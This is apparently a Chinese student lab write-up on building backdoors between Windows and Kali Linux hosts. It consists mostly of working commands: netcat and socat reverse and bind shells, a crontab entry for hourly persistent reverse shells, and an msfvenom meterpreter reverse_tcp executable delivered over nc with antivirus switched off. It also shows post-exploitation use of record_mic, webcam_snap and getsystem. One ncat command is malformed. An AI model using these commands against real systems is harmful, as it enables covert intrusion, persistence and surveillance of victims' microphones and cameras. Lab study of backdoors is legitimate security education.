后门原理与实践
常用后门工具
NC 或 netcat
netcat是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
Win获得Linux Shell
1、windows 打开监听
先解压ncat.rar,使用Dos命令行,进入ncat文件夹运行可执行文件ncat.exe。使用 ncat.exe -l -p 5216
使5216端口处于监听状态。
2、Linux反弹连接win
使用ipconfig查询主机IP地址。
使用 nc 192.168.1.104 5216 -e /bin/sh
。
3、windows下获得一个linux shell
可运行任何指令,如ls:
Linux获得Win Shell
1、Linux运行监听指令
Linux下输入命令 nc -l -p 5216
。
2、.Windows反弹连接Linux
使用 ifconfig
查看Linux的IP地址。
使用Dos命令行输入 ncat.exe -e cmd.192.168.253.128 5216
。
3.Linux下看到Windows的命令提示
Netcat扩展知识
nc传输数据
1、Windows下监听5216端口: ncat.exe -l -p 5216
。
2、Kali下连接到Windows的5216端口: nc -l -p 5216
。
3、建立之后进行文字传输
windows再启动一个Dos界面,输入 ncat.exe -l 5216
。
Kali再起另一终端,输入 nc 192.168.1.104 5216
。
之后进行文本传输。
使用netcat获取主机操作Shell
1、先在Windows系统下,监听5216端口。
2、用crontab -e指令编辑一条定时任务,选择编辑器时选择3 basic vim编辑器。
3、在最后一行添加 45 * * * * /bin/netcat 192.168.1.104 5216 -e /bin/sh
。
即在每个小时的第45分钟反向连接Windows主机的5216端口。
在第45分钟,连接成功。
使用socat获取主机操作Shell
1、在Windows系统下,打开控制面板下搜索任务计划开始创建任务,填写任务名称后,新建一个触发器
2、在操作->程序或脚本中选择socat.exe文件的路径,在添加参数一栏填写 tcp-listen:5216 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口5216,同时把cmd.exe的stderr重定向到stdout上:
3、创建完成之后运行。
此时弹出一个命令端:
4、此时,在Kali环境下输入指令socat - tcp:192.168.1.104:5216,这里的第一个参数-代表标准的输入输出,使第二个流连接到Windows主机的5216端口,此时可以发现已经成功获得了一个cmd shell:
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1、输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.15.132 LPORT=4312 -f exe > 20154312_backdoor.exe
生成后门程序。
2、通过nc指令将生成的后门程序传送到Windows主机上
kali端使用命令: nc 192.168.1.104 5216 < 20155216_backdoor.exe
传送程序。
windows端使用命令: ncat.exe -l 5216 > 20155216_backdoor.exe
接受程序。
ps:如果无法使用命令进行传送,也可手动将后门程序拷贝至windows;传输后门程序之前,先将主机的防护软件关闭。
3、在Kali上使用 msfconsole
指令进入msf控制台,输入命令 use exploit/multi/handler
使用监听模块,使用命令 set payload windows/meterpreter/reverse_tcp
设置payload,设置反弹回连的IP和端口:
4、设置完成后,执行监听:
5、打开Windows上的后门程序:
使用MSF meterpreter生成获取目标主机音频、摄像头等内容,并尝试提权
可使用record_mic指令截获一段音频
也可尝试使用webcam_snap指令可以使用摄像头进行拍照
先使用getuid指令查看当前用户,并使用getsystem指令进行提权
可能是因为windows8.1的环境问题,无法进行提权。